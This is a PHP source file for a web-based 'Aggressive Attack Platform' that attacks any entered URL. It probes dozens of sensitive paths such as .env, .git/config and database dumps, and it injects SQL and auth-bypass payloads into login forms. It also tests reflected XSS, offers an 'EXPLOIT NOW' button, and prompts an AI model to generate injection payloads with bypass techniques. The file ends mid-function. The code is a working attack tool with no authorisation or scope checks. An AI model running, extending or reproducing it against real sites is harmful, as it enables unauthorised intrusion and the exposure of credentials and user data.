<?php
// ============================================
// AGGRESSIVE ATTACK PLATFORM - Real Exploitation
// ============================================
set_time_limit(0);
ini_set('max_execution_time', '0');
ini_set('memory_limit', '512M');
ini_set('default_socket_timeout', '300');

@ini_set('zlib.output_compression', 0);
@ini_set('output_buffering', '0');
@ini_set('implicit_flush', '1');
ob_implicit_flush(true);
while (ob_get_level() > 0) { ob_end_flush(); }

require_once 'config.php';
requireLogin();

header('Content-Type: text/html; charset=utf-8');
header('X-Accel-Buffering: no');

// Session setup
if (!isset($_SESSION['uploaded_payloads'])) $_SESSION['uploaded_payloads'] = array();
if (!isset($_SESSION['manual_payloads'])) $_SESSION['manual_payloads'] = '';

$allResults = array();
$stopScan = false;
$message = '';
$uploadedPayloads = $_SESSION['uploaded_payloads'];
$manualPayloads = $_SESSION['manual_payloads'];

// Handle file upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['payload_file']) && $_FILES['payload_file']['error'] === UPLOAD_ERR_OK) {
    $content = file_get_contents($_FILES['payload_file']['tmp_name']);
    $lines = explode("\n", $content);
    $payloads = array();
    foreach ($lines as $line) {
        $line = trim($line);
        if (!empty($line) && $line[0] != '#' && $line[0] != '/' && strlen($line) > 1) $payloads[] = $line;
    }
    $_SESSION['uploaded_payloads'] = $payloads;
    $uploadedPayloads = $payloads;
    $message = "✅ Loaded " . count($payloads) . " payloads!";
}

// Handle manual payloads
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save_manual_payloads'])) {
    $manualText = isset($_POST['manual_payloads']) ? $_POST['manual_payloads'] : '';
    $_SESSION['manual_payloads'] = $manualText;
    if (!empty(trim($manualText))) {
        $lines = explode("\n", $manualText);
        $payloads = array();
        foreach ($lines as $line) { $line = trim($line); if (!empty($line) && $line[0] != '#' && strlen($line) > 1) $payloads[] = $line; }
        $_SESSION['uploaded_payloads'] = $payloads;
        $uploadedPayloads = $payloads;
        $message = "✅ " . count($payloads) . " payloads saved!";
    }
}

// AI Generate Payloads
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['ai_generate_payloads'])) {
    $targetInfo = isset($_POST['ai_target_info']) ? $_POST['ai_target_info'] : '';
    $vulnType = isset($_POST['ai_vuln_type']) ? $_POST['ai_vuln_type'] : 'sql';
    $prompt = "Generate 25 specialized {$vulnType} injection payloads for: {$targetInfo}\nReturn ONLY payloads, one per line. Include bypass techniques.";
    $response = callAI($prompt, "Penetration tester. Output ONLY payloads.");
    if ($response && strpos($response, 'ERROR') === false) {
        $lines = explode("\n", $response);
        $payloads = array();
        foreach ($lines as $line) {
            $line = trim($line);
            if (!empty($line) && strlen($line) > 2 && $line[0] != '#') {
                $line = preg_replace('/^\d+\.\s*/', '', $line);
                $line = preg_replace('/^-\s*/', '', $line);
                $line = trim($line, '"\'`');
                $payloads[] = $line;
            }
        }
        if (!empty($payloads)) {
            $_SESSION['uploaded_payloads'] = $payloads;
            $uploadedPayloads = $payloads;
            $message = "🤖 Gemini generated " . count($payloads) . " payloads!";
        }
    }
}

// Clear payloads
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['clear_payloads'])) {
    $_SESSION['uploaded_payloads'] = array();
    $_SESSION['manual_payloads'] = '';
    $uploadedPayloads = array();
    $message = "🗑️ Using default payloads.";
}

// Password check
$passwordCheckResult = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['check_password'])) {
    $passwordToCheck = isset($_POST['password']) ? $_POST['password'] : '';
    $passwordCheckResult = checkPasswordBreach($passwordToCheck);
}

// Attack execution
$attacking = false;
$targetUrl = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['scan_url']) && !empty($_POST['target_url'])) {
    $attacking = true;
    $targetUrl = $_POST['target_url'];
    if (!preg_match('#^https?://#', $targetUrl)) $targetUrl = 'https://' . $targetUrl;
}
if (isset($_POST['stop_scan'])) { $attacking = false; $stopScan = true; }

$attackPayloads = !empty($uploadedPayloads) ? $uploadedPayloads : getDefaultSQLPayloads();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>⚔️ AGGRESSIVE ATTACK PLATFORM</title>
    <style>
        *{margin:0;padding:0;box-sizing:border-box}
        body{font-family:'Courier New',monospace;background:#000;color:#0f0;min-height:100vh}
        .matrix-bg{position:fixed;top:0;left:0;right:0;bottom:0;z-index:0}
        .container{position:relative;z-index:1;max-width:1600px;margin:0 auto;padding:20px}
        .header{text-align:center;padding:20px;border:2px solid #f00;border-radius:10px;margin-bottom:20px;animation:glow 1.5s infinite}
        @keyframes glow{0%,100%{border-color:#f00;box-shadow:0 0 20px rgba(255,0,0,0.5)}50%{border-color:#ff0;box-shadow:0 0 40px rgba(255,255,0,0.7)}}
        .header h1{font-size:24px;color:#f00;text-shadow:0 0 10px #f00}
        .warning-lights{display:flex;justify-content:center;gap:10px;margin:10px 0}
        .w-light{width:12px;height:12px;border-radius:50%;background:#f00;animation:blink 0.8s infinite}
        .w-light:nth-child(odd){animation-delay:0.4s}
        @keyframes blink{50%{opacity:0.2}}
        
        .grid-2{display:grid;grid-template-columns:1fr 1fr;gap:20px}
        @media(max-width:768px){.grid-2{grid-template-columns:1fr}}
        
        .card{background:rgba(255,0,0,0.03);border:1px solid rgba(255,0,0,0.2);padding:20px;border-radius:8px;margin-bottom:20px}
        .card h3{color:#f00;margin-bottom:15px;border-bottom:1px solid rgba(255,0,0,0.2);padding-bottom:10px}
        .card label{display:block;color:#ff4500;font-size:10px;text-transform:uppercase;letter-spacing:1px;margin-bottom:5px}
        .card input[type="text"],.card textarea,.card select{width:100%;padding:10px;background:#0a0a0a;border:1px solid #333;color:#0f0;font-family:'Courier New',monospace;font-size:13px;margin-bottom:10px;border-radius:4px}
        .card input[type="file"]{color:#ff4500;margin-bottom:10px}
        .card input:focus,.card textarea:focus{outline:none;border-color:#f00}
        
        .btn{padding:10px 20px;border:none;font-family:'Courier New',monospace;font-size:13px;font-weight:bold;cursor:pointer;margin:3px;border-radius:4px;text-transform:uppercase}
        .btn-attack{background:#f00;color:#fff;font-size:16px;padding:14px 35px;animation:pulse 2s infinite}
        @keyframes pulse{0%,100%{box-shadow:0 0 10px #f00}50%{box-shadow:0 0 40px #f00}}
        .btn-attack:hover{background:#ff3333}
        .btn-ai{background:#3b82f6;color:#fff}
        .btn-green{background:#0f0;color:#000}
        .btn-exploit{background:#a855f7;color:#fff;font-size:10px;padding:5px 12px}
        .btn-gray{background:#333;color:#fff}
        .btn-small{padding:5px 10px;font-size:10px}
        
        .live-terminal{background:#000;border:1px solid #f00;padding:15px;min-height:400px;max-height:55vh;overflow-y:auto;font-family:'Courier New',monospace;font-size:12px;line-height:1.5;border-radius:5px}
        .terminal-line{margin:2px 0;padding:2px 5px}
        .t-info{color:#0ff}.t-success{color:#0f0}.t-warning{color:#ff0}.t-error{color:#f00}.t-critical{color:#f0f;font-weight:bold;background:rgba(255,0,255,0.1)}
        .t-ai{color:#93c5fd;border-left:2px solid #3b82f6;padding-left:8px}
        
        .vuln-card{background:rgba(255,0,0,0.08);border-left:4px solid #f00;padding:15px;margin:15px 0;border-radius:0 6px 6px 0;animation:slideIn 0.3s}
        @keyframes slideIn{from{opacity:0;transform:translateX(-20px)}to{opacity:1;transform:translateX(0)}}
        
        .payload-tag{display:inline-block;background:#111;color:#ff0;padding:3px 8px;border:1px solid #ff0;margin:2px;font-size:9px;border-radius:3px}
        .response-preview{background:#000;border:1px solid #333;padding:10px;margin:5px 0;max-height:200px;overflow-y:auto;font-size:10px;white-space:pre-wrap;word-break:break-all}
        
        .nav-links{display:flex;gap:6px;flex-wrap:wrap;margin:8px 0}
        .nav-links a{color:#a1a1aa;text-decoration:none;padding:6px 12px;border:1px solid #333;border-radius:4px;font-size:10px}
        .nav-links a:hover{background:rgba(255,0,0,0.1);border-color:#f00;color:#f00}
        .nav-links a.active{background:rgba(255,0,0,0.15);border-color:#f00;color:#f00}
        
        .stats-row{display:flex;gap:10px;flex-wrap:wrap;margin:10px 0}
        .stat-item{background:rgba(255,0,0,0.05);border:1px solid rgba(255,0,0,0.2);padding:10px 15px;border-radius:6px;text-align:center;min-width:70px}
        .stat-value{font-size:18px;font-weight:700;color:#f00}
        .stat-label{font-size:8px;color:#888;text-transform:uppercase}
        
        .alert{padding:10px 15px;border-radius:5px;margin:10px 0;font-size:12px}
        .alert-success{background:rgba(0,255,0,0.1);border:1px solid #0f0;color:#0f0}
        
        /* Critical finding flash */
        .critical-find{animation:flash 0.5s infinite}
        @keyframes flash{0%,100%{background:rgba(255,0,0,0.1)}50%{background:rgba(255,0,0,0.3)}}
    </style>
</head>
<body>
    <div class="matrix-bg" id="matrixBg"></div>
    <div class="container">
        <div class="header">
            <h1>⚔️ AGGRESSIVE ATTACK PLATFORM</h1>
            <div class="warning-lights">
                <div class="w-light"></div><div class="w-light"></div><div class="w-light"></div>
                <div class="w-light"></div><div class="w-light"></div><div class="w-light"></div>
            </div>
            <div class="nav-links" style="justify-content:center">
                <a href="/admin/index.php">[Dashboard]</a>
                <a href="attack.php" class="active">[Attack]</a>
                <a href="defense.php">[Defense]</a>
                <a href="malware_analysis.php">[Malware]</a>
                <a href="cupp.php">[CUPP]</a>
                <a href="reports.php">[Reports]</a>
                <a href="index.php?logout=1" style="color:#f00">[Logout]</a>
            </div>
        </div>
        
        <?php if($message): ?>
        <div class="alert alert-success"><?php echo $message; ?></div>
        <?php endif; ?>
        
        <div class="card">
            <h3>🎯 ATTACK CONFIGURATION</h3>
            <form method="POST" enctype="multipart/form-data">
                <div class="grid-2">
                    <div>
                        <label>🎯 TARGET URL</label>
                        <input type="text" name="target_url" value="<?php echo htmlspecialchars($targetUrl); ?>" placeholder="https://target.com" <?php echo $attacking?'readonly':''; ?> required>
                        <label>SCAN TYPE</label>
                        <select name="scan_type">
                            <option value="all">🔥 FULL AGGRESSIVE ATTACK</option>
                            <option value="sqli">💉 SQL Injection</option>
                            <option value="xss">💀 XSS</option>
                            <option value="auth">🔑 Auth Bypass</option>
                            <option value="files">📂 Sensitive Files Only</option>
                        </select>
                        <div style="display:flex;gap:10px;flex-wrap:wrap;margin-top:15px">
                            <?php if(!$attacking): ?>
                            <button type="submit" name="scan_url" class="btn btn-attack">⚡ LAUNCH FULL ATTACK</button>
                            <?php else: ?>
                            <button type="submit" name="stop_scan" class="btn" style="background:#ff0;color:#000">🛑 STOP</button>
                            <?php endif; ?>
                        </div>
                    </div>
                    <div>
                        <label>📁 UPLOAD PAYLOADS (.txt)</label>
                        <input type="file" name="payload_file" accept=".txt">
                        <label>📝 MANUAL PAYLOADS</label>
                        <textarea name="manual_payloads" rows="3" placeholder="' OR 1=1--&#10;admin' --&#10;' UNION SELECT NULL--"><?php echo htmlspecialchars($manualPayloads); ?></textarea>
                        <div style="display:flex;gap:5px;flex-wrap:wrap">
                            <button type="submit" class="btn btn-green btn-small">📤 UPLOAD</button>
                            <button type="submit" name="save_manual_payloads" class="btn btn-green btn-small">💾 SAVE</button>
                            <button type="submit" name="clear_payloads" class="btn btn-gray btn-small">🗑️ CLEAR</button>
                            <button type="submit" name="ai_generate_payloads" class="btn btn-ai btn-small">🤖 AI GEN</button>
                        </div>
                    </div>
                </div>
            </form>
        </div>
        
        <div class="card">
            <strong style="color:#f00">
                <?php if(!empty($uploadedPayloads)): ?>
                ✅ <?php echo count($uploadedPayloads); ?> CUSTOM PAYLOADS
                <?php else: ?>
                ℹ️ <?php echo count($attackPayloads); ?> DEFAULT PAYLOADS
                <?php endif; ?>
            </strong>
            <div style="max-height:50px;overflow-y:auto;margin-top:5px">
                <?php foreach(array_slice($attackPayloads,0,6) as $p): ?>
                <span class="payload-tag"><?php echo htmlspecialchars(substr($p,0,40)); ?></span>
                <?php endforeach; ?>
            </div>
        </div>
        
        <div class="card">
            <h3>📟 LIVE ATTACK TERMINAL</h3>
            <div class="stats-row" id="statsRow" style="display:<?php echo $attacking?'flex':'none'; ?>">
                <div class="stat-item"><div class="stat-value" id="vulnCount">0</div><div class="stat-label">Vulns</div></div>
                <div class="stat-item"><div class="stat-value" id="testCount">0</div><div class="stat-label">Tests</div></div>
                <div class="stat-item"><div class="stat-value" id="fileCount">0</div><div class="stat-label">Files Found</div></div>
            </div>
            <div class="live-terminal" id="liveTerminal">
<?php
// ============================================
// AGGRESSIVE ATTACK EXECUTION
// ============================================
if ($attacking) {
    $scanType = isset($_POST['scan_type']) ? $_POST['scan_type'] : 'all';
    $sqlPayloads = $attackPayloads;
    
    flushTerminal("<span class='t-critical'>⚡ AGGRESSIVE ATTACK MODE ENGAGED</span>");
    flushTerminal("<span class='t-info'>═══════════════════════════════════</span>");
    flushTerminal("<span class='t-info'>[+] Target: {$targetUrl}</span>");
    flushTerminal("<span class='t-info'>[+] Payloads: " . count($sqlPayloads) . "</span>");
    flushTerminal("<span class='t-info'>═══════════════════════════════════</span>");
    
    // Recon
    flushTerminal("<span class='t-warning'>[*] PHASE 1: Aggressive Reconnaissance</span>");
    $response = advancedCurl($targetUrl);
    $parsed = parse_url($targetUrl);
    $baseUrl = $parsed['scheme'] . '://' . $parsed['host'];
    if (isset($parsed['port'])) $baseUrl .= ':' . $parsed['port'];
    
    if ($response['error']) {
        flushTerminal("<span class='t-error'>[✗] Connection failed</span>");
        goto endAttack;
    }
    flushTerminal("<span class='t-success'>[✓] Connected - HTTP {$response['http_code']} - " . strlen($response['body']) . " bytes</span>");
    
    $forms = extractForms($response['body']);
    $urlParams = array();
    if (isset($parsed['query'])) parse_str($parsed['query'], $urlParams);
    
    // Detect WordPress
    $isWP = (stripos($response['body'], 'wp-content') !== false || stripos($response['body'], 'wordpress') !== false);
    if ($isWP) flushTerminal("<span class='t-warning'>[!] WordPress detected!</span>");
    
    $testCount = 0;
    $vulnCount = 0;
    $fileCount = 0;
    
    // ============================================
    // SENSITIVE FILES - MASSIVE SCAN
    // ============================================
    flushTerminal("<br><span class='t-warning'>[*] PHASE 2: Sensitive File Discovery (50+ paths)</span>");
    
    $sensitivePaths = array(
        // CRITICAL - Information Disclosure
        '/info.php' => array('type' => 'PHP Info Exposed', 'severity' => 'Critical', 'desc' => 'Full PHP configuration exposed - server paths, versions, modules, environment variables'),
        '/phpinfo.php' => array('type' => 'PHP Info Exposed', 'severity' => 'Critical', 'desc' => 'PHP configuration disclosure - critical information leak'),
        '/php_info.php' => array('type' => 'PHP Info Exposed', 'severity' => 'Critical', 'desc' => 'PHP info page exposed'),
        '/.env' => array('type' => 'Environment File', 'severity' => 'Critical', 'desc' => 'Laravel/application environment file with credentials'),
        '/.env.backup' => array('type' => 'Env Backup', 'severity' => 'Critical', 'desc' => 'Backup environment file with credentials'),
        '/.env.example' => array('type' => 'Env Example', 'severity' => 'High', 'desc' => 'Example env file showing structure'),
        '/.git/HEAD' => array('type' => 'Git Repository', 'severity' => 'Critical', 'desc' => 'Full source code history exposed via git'),
        '/.git/config' => array('type' => 'Git Config', 'severity' => 'Critical', 'desc' => 'Git configuration with remote URLs'),
        '/.svn/entries' => array('type' => 'SVN Repository', 'severity' => 'Critical', 'desc' => 'SVN source code exposed'),
        '/config.php' => array('type' => 'Config File', 'severity' => 'Critical', 'desc' => 'Application configuration with database credentials'),
        '/wp-config.php' => array('type' => 'WordPress Config', 'severity' => 'Critical', 'desc' => 'WordPress configuration with DB credentials and salts'),
        '/wp-config.bak' => array('type' => 'WP Config Backup', 'severity' => 'Critical', 'desc' => 'WordPress config backup with credentials'),
        '/configuration.php' => array('type' => 'Config File', 'severity' => 'Critical', 'desc' => 'Joomla/application config file'),
        '/settings.py' => array('type' => 'Django Settings', 'severity' => 'Critical', 'desc' => 'Django settings with SECRET_KEY'),
        '/.DS_Store' => array('type' => 'Mac Metadata', 'severity' => 'Low', 'desc' => 'Directory structure exposed'),
        
        // Backups & Database
        '/backup.zip' => array('type' => 'Backup Archive', 'severity' => 'Critical', 'desc' => 'Complete site backup downloadable'),
        '/backup.sql' => array('type' => 'SQL Dump', 'severity' => 'Critical', 'desc' => 'Full database dump with user data'),
        '/backup.tar.gz' => array('type' => 'Backup Archive', 'severity' => 'Critical', 'desc' => 'Compressed site backup'),
        '/database.sql' => array('type' => 'SQL Dump', 'severity' => 'Critical', 'desc' => 'Database export exposed'),
        '/db.sql' => array('type' => 'SQL Dump', 'severity' => 'Critical', 'desc' => 'Database dump exposed'),
        '/dump.sql' => array('type' => 'SQL Dump', 'severity' => 'Critical', 'desc' => 'Database dump exposed'),
        '/export.sql' => array('type' => 'SQL Dump', 'severity' => 'Critical', 'desc' => 'Database export exposed'),
        '/site.zip' => array('type' => 'Site Backup', 'severity' => 'Critical', 'desc' => 'Full site backup downloadable'),
        
        // Admin Panels
        '/admin' => array('type' => 'Admin Panel', 'severity' => 'High', 'desc' => 'Admin interface accessible'),
        '/admin.php' => array('type' => 'Admin Page', 'severity' => 'High', 'desc' => 'Admin page accessible'),
        '/administrator' => array('type' => 'Joomla Admin', 'severity' => 'High', 'desc' => 'Joomla administrator panel'),
        '/wp-admin' => array('type' => 'WordPress Admin', 'severity' => 'Medium', 'desc' => 'WordPress admin login'),
        '/wp-login.php' => array('type' => 'WP Login', 'severity' => 'Low', 'desc' => 'WordPress login page'),
        '/user/login' => array('type' => 'Login Page', 'severity' => 'Low', 'desc' => 'User login page'),
        '/dashboard' => array('type' => 'Dashboard', 'severity' => 'Medium', 'desc' => 'Dashboard accessible'),
        '/panel' => array('type' => 'Admin Panel', 'severity' => 'High', 'desc' => 'Admin panel accessible'),
        '/cpanel' => array('type' => 'Control Panel', 'severity' => 'High', 'desc' => 'Control panel accessible'),
        '/backend' => array('type' => 'Backend', 'severity' => 'High', 'desc' => 'Backend interface exposed'),
        
        // Debug & Development
        '/debug' => array('type' => 'Debug Mode', 'severity' => 'High', 'desc' => 'Debug information exposed'),
        '/debug.php' => array('type' => 'Debug Script', 'severity' => 'High', 'desc' => 'Debug script accessible'),
        '/test.php' => array('type' => 'Test File', 'severity' => 'Medium', 'desc' => 'Test file left on production'),
        '/test' => array('type' => 'Test Directory', 'severity' => 'Medium', 'desc' => 'Test directory accessible'),
        '/dev' => array('type' => 'Dev Environment', 'severity' => 'High', 'desc' => 'Development environment exposed'),
        '/staging' => array('type' => 'Staging', 'severity' => 'High', 'desc' => 'Staging environment accessible'),
        
        // Logs
        '/error.log' => array('type' => 'Error Log', 'severity' => 'High', 'desc' => 'Application error log exposed'),
        '/access.log' => array('type' => 'Access Log', 'severity' => 'High', 'desc' => 'Server access log exposed'),
        '/debug.log' => array('type' => 'Debug Log', 'severity' => 'High', 'desc' => 'Debug log with sensitive data'),
        '/php_errors.log' => array('type' => 'PHP Error Log', 'severity' => 'High', 'desc' => 'PHP error log exposed'),
        
        // Server Status
        '/server-status' => array('type' => 'Apache Status', 'severity' => 'High', 'desc' => 'Real-time server activity visible'),
        '/server-info' => array('type' => 'Apache Info', 'severity' => 'High', 'desc' => 'Server configuration exposed'),
        '/status' => array('type' => 'Status Page', 'severity' => 'Medium', 'desc' => 'Status page accessible'),
        
        // API & Web Services
        '/api' => array('type' => 'API Endpoint', 'severity' => 'Medium', 'desc' => 'API endpoint accessible'),
        '/graphql' => array('type' => 'GraphQL', 'severity' => 'Medium', 'desc' => 'GraphQL endpoint exposed'),
        '/swagger' => array('type' => 'API Docs', 'severity' => 'Medium', 'desc' => 'API documentation exposed'),
        '/docs' => array('type' => 'Documentation', 'severity' => 'Low', 'desc' => 'Documentation accessible'),
        '/.well-known/' => array('type' => 'Well-Known', 'severity' => 'Low', 'desc' => 'Well-known directory accessible'),
        
        // Other sensitive files
        '/.htaccess' => array('type' => 'Htaccess', 'severity' => 'Medium', 'desc' => 'Server config rules exposed'),
        '/robots.txt' => array('type' => 'Robots.txt', 'severity' => 'Low', 'desc' => 'Crawl directives (may reveal paths)'),
        '/sitemap.xml' => array('type' => 'Sitemap', 'severity' => 'Low', 'desc' => 'Site structure exposed'),
        '/composer.json' => array('type' => 'Composer Config', 'severity' => 'Medium', 'desc' => 'PHP dependencies exposed'),
        '/package.json' => array('type' => 'NPM Config', 'severity' => 'Low', 'desc' => 'Node.js dependencies exposed'),
        '/yarn.lock' => array('type' => 'Yarn Lock', 'severity' => 'Low', 'desc' => 'Dependency versions exposed'),
        '/README.md' => array('type' => 'Readme', 'severity' => 'Low', 'desc' => 'Project documentation exposed'),
        '/CHANGELOG.md' => array('type' => 'Changelog', 'severity' => 'Low', 'desc' => 'Version history exposed'),
        '/LICENSE' => array('type' => 'License', 'severity' => 'Low', 'desc' => 'License file exposed'),
        '/web.config' => array('type' => 'IIS Config', 'severity' => 'High', 'desc' => 'IIS configuration exposed'),
        '/crossdomain.xml' => array('type' => 'Flash Config', 'severity' => 'Medium', 'desc' => 'Cross-domain policy exposed'),
    );
    
    foreach ($sensitivePaths as $path => $info) {
        if ($stopScan) break;
        $testCount++;
        $checkUrl = $baseUrl . $path;
        $resp = advancedCurl($checkUrl);
        
        if ($resp['http_code'] == 200) {
            $fileCount++;
            $isCritical = ($info['severity'] == 'Critical');
            $class = $isCritical ? 'critical-find' : '';
            
            flushTerminal("<span class='t-error {$class}'>    🔴 EXPOSED: {$path} - {$info['type']} (HTTP 200)</span>");
            flushTerminal("<span class='t-warning'>       → {$info['desc']}</span>");
            
            $allResults[] = array(
                'type' => $info['type'],
                'severity' => $info['severity'],
                'param' => 'URL Path',
                'payload' => $path,
                'evidence' => "Accessible at {$checkUrl} - {$info['desc']}",
                'http_code' => 200,
                'response_snippet' => substr($resp['body'], 0, 1000)
            );
            $vulnCount++;
            displayVulnerabilityCard($allResults[count($allResults)-1]);
        } elseif ($resp['http_code'] == 403) {
            flushTerminal("<span class='t-warning'>    🟡 Protected: {$path} (HTTP 403) - exists but restricted</span>");
        } elseif ($resp['http_code'] == 301 || $resp['http_code'] == 302) {
            flushTerminal("<span class='t-info'>    🔵 Redirect: {$path}</span>");
        }
        
        echo "<script>document.getElementById('vulnCount').innerText='{$vulnCount}';document.getElementById('testCount').innerText='{$testCount}';document.getElementById('fileCount').innerText='{$fileCount}';document.getElementById('statsRow').style.display='flex';</script>";
        usleep(10000);
    }
    
    // ============================================
    // SQL INJECTION
    // ============================================
    if (in_array($scanType, array('all','sqli','auth'))) {
        flushTerminal("<br><span class='t-warning'>[*] PHASE 3: SQL Injection + Auth Bypass</span>");
        
        foreach ($forms as $form) {
            if ($stopScan) break;
            $formUrl = resolveUrl($form['action'], $baseUrl);
            $uField = findUsernameField($form['inputs']);
            $pField = findPasswordField($form['inputs']);
            
            if ($uField && $pField) {
                flushTerminal("<span class='t-info'>    Form: {$uField}/{$pField}</span>");
                
                $normalPost = array($uField => 'test', $pField => 'test');
                addHiddenFields($normalPost, $form['inputs']);
                $normalResp = advancedCurl($formUrl, 'POST', $normalPost);
                
                foreach ($sqlPayloads as $payload) {
                    if ($stopScan) break;
                    $payload = trim($payload);
                    if (empty($payload) || $payload[0] == '#') continue;
                    
                    $testCount++;
                    $postData = array($uField => $payload, $pField => $payload);
                    addHiddenFields($postData, $form['inputs']);
                    
                    $startTime = microtime(true);
                    $attackResp = advancedCurl($formUrl, 'POST', $postData);
                    $elapsed = microtime(true) - $startTime;
                    
                    // Check for SQL errors
                    $error = checkForAnyError($attackResp['body']);
                    if ($error) {
                        flushTerminal("<span class='t-critical'>    ✓ SQL ERROR: {$error}</span>");
                        flushTerminal("<span class='t-critical'>    ✓ Payload: {$payload}</span>");
                        $allResults[] = array('type'=>'SQL Injection','severity'=>'Critical','param'=>$uField,'payload'=>$payload,'evidence'=>$error,'http_code'=>$attackResp['http_code'],'response_snippet'=>substr($attackResp['body'],0,800));
                        $vulnCount++;
                        displayVulnerabilityCard($allResults[count($allResults)-1]);
                        break;
                    }
                    
                    // Time-based blind
                    if ($elapsed > 3.0) {
                        flushTerminal("<span class='t-critical'>    ✓ BLIND SQLi! (" . round($elapsed,2) . "s)</span>");
                        $allResults[] = array('type'=>'SQL Injection (Blind)','severity'=>'Critical','param'=>$uField,'payload'=>$payload,'evidence'=>round($elapsed,2)."s delay",'http_code'=>$attackResp['http_code']);
                        $vulnCount++;
                        displayVulnerabilityCard($allResults[count($allResults)-1]);
                        break;
                    }
                    
                    // Auth bypass
                    $bypass = checkAuthBypass($attackResp, $normalResp);
                    if ($bypass['success']) {
                        flushTerminal("<span class='t-critical'>    ✓ AUTH BYPASS!</span>");
                        $allResults[] = array('type'=>'Auth Bypass','severity'=>'Critical','param'=>"{$uField}/{$pField}",'payload'=>$payload,'evidence'=>$bypass['evidence'],'http_code'=>$attackResp['http_code'],'response_snippet'=>substr($attackResp['body'],0,800));
                        $vulnCount++;
                        displayVulnerabilityCard($allResults[count($allResults)-1]);
                        break;
                    }
                    
                    if ($attackResp['http_code'] == 500) {
                        flushTerminal("<span class='t-warning'>    [!] HTTP 500 - Possible SQLi</span>");
                    }
                    
                    echo "<script>document.getElementById('vulnCount').innerText='{$vulnCount}';document.getElementById('testCount').innerText='{$testCount}';</script>";
                    usleep(10000);
                }
            }
        }
    }
    
    // ============================================
    // XSS
    // ============================================
    if (in_array($scanType, array('all','xss'))) {
        flushTerminal("<br><span class='t-warning'>[*] PHASE 4: XSS Testing</span>");
        $xssPayloads = array('<script>alert(1)</script>','"><script>alert(1)</script>','<img src=x onerror=alert(1)>','<svg onload=alert(1)>');
        foreach ($urlParams as $param => $val) {
            foreach ($xssPayloads as $payload) {
                $testUrl = addParamToUrl($targetUrl, $param, $payload);
                $resp = advancedCurl($testUrl);
                if (strpos($resp['body'], $payload) !== false && strpos($resp['body'], htmlspecialchars($payload)) === false) {
                    flushTerminal("<span class='t-critical'>    ✓ XSS in '{$param}'!</span>");
                    $allResults[] = array('type'=>'XSS','severity'=>'High','param'=>$param,'payload'=>$payload,'evidence'=>'Payload reflected','http_code'=>$resp['http_code']);
                    $vulnCount++;
                    displayVulnerabilityCard($allResults[count($allResults)-1]);
                    break;
                }
            }
        }
    }
    
    // Summary
    flushTerminal("<br><span class='t-success'>═══════════════════════════════════</span>");
    flushTerminal("<span class='t-success'>[✓] ATTACK COMPLETE</span>");
    flushTerminal("<span class='t-success'>[✓] Tests: {$testCount} | Vulns: {$vulnCount} | Files: {$fileCount}</span>");
    
    if ($vulnCount > 0) {
        flushTerminal("<span class='t-critical'>[!] EXPLOITABLE VULNERABILITIES FOUND!</span>");
    }
    
    logAttack($targetUrl, 'Aggressive Attack', json_encode($allResults), "{$vulnCount} vulns", $vulnCount>0?'Critical':'Low');
    
    endAttack:
    echo "<script>
        document.getElementById('vulnCount').innerText='{$vulnCount}';
        document.getElementById('testCount').innerText='{$testCount}';
        document.getElementById('fileCount').innerText='{$fileCount}';
        document.getElementById('statsRow').style.display='flex';
    </script>";
}

// Exploit handler
if (isset($_POST['exploit_now'])) {
    $exploitTarget = array(
        'target' => isset($_POST['target_url_hidden']) ? $_POST['target_url_hidden'] : $targetUrl,
        'type' => isset($_POST['exploit_type']) ? $_POST['exploit_type'] : '',
        'param' => isset($_POST['exploit_param']) ? $_POST['exploit_param'] : '',
        'payload' => isset($_POST['exploit_payload']) ? $_POST['exploit_payload'] : ''
    );
    flushTerminal("<span class='t-critical'>═══ EXPLOIT ═══</span>");
    $exploitUrl = addParamToUrl($exploitTarget['target'], $exploitTarget['param'], $exploitTarget['payload']);
    $exploitResp = advancedCurl($exploitUrl);
    echo "<div style='background:rgba(255,0,0,0.1);border:2px solid #f00;padding:15px;margin:10px 0'><h4 style='color:#f00'>💥 EXPLOIT</h4><p style='color:#0f0'>HTTP {$exploitResp['http_code']} | " . strlen($exploitResp['body']) . " bytes</p><div class='response-preview'>" . htmlspecialchars(substr($exploitResp['body'],0,1500)) . "</div></div>";
}

// ==================== FUNCTIONS ====================
function flushTerminal($html) { echo $html."\n"; if(ob_get_level()>0) ob_flush(); flush(); usleep(8000); }

function displayVulnerabilityCard($vuln) {
    $targetUrl = $GLOBALS['targetUrl'] ?? '';
    $isCritical = ($vuln['severity'] == 'Critical');
    $html = "<div class='vuln-card " . ($isCritical ? 'critical-find' : '') . "'><h4 style='color:#f00'>⚠️ {$vuln['type']}</h4><p>Param: {$vuln['param']} | HTTP: {$vuln['http_code']}</p><p style='color:#ff0'>Payload: {$vuln['payload']}</p><p>Evidence: {$vuln['evidence']}</p>";
    if(isset($vuln['response_snippet'])) $html .= "<details><summary style='color:#ff0;cursor:pointer;font-size:11px'>View Response</summary><div class='response-preview'>".htmlspecialchars($vuln['response_snippet'])."</div></details>";
    $html .= "<form method='POST' style='margin-top:8px'><input type='hidden' name='target_url_hidden' value='".htmlspecialchars($targetUrl)."'><input type='hidden' name='exploit_type' value='".htmlspecialchars($vuln['type'])."'><input type='hidden' name='exploit_param' value='".htmlspecialchars($vuln['param'])."'><input type='hidden' name='exploit_payload' value='".htmlspecialchars($vuln['payload'])."'><button type='submit' name='exploit_now' class='btn btn-exploit'>💥 EXPLOIT NOW</button></form></div>";
    flushTerminal($html);
}

function advancedCurl($url,$method='GET',$data=array()){
    $ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_TIMEOUT,8);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,4);
    curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);curl_setopt($ch,CURLOPT_MAXREDIRS,2);
    curl_setopt($ch,CURLOPT_HEADER,true);curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 SecurityScanner/4.0');
    curl_setopt($ch,CURLOPT_ENCODING,'gzip,deflate');
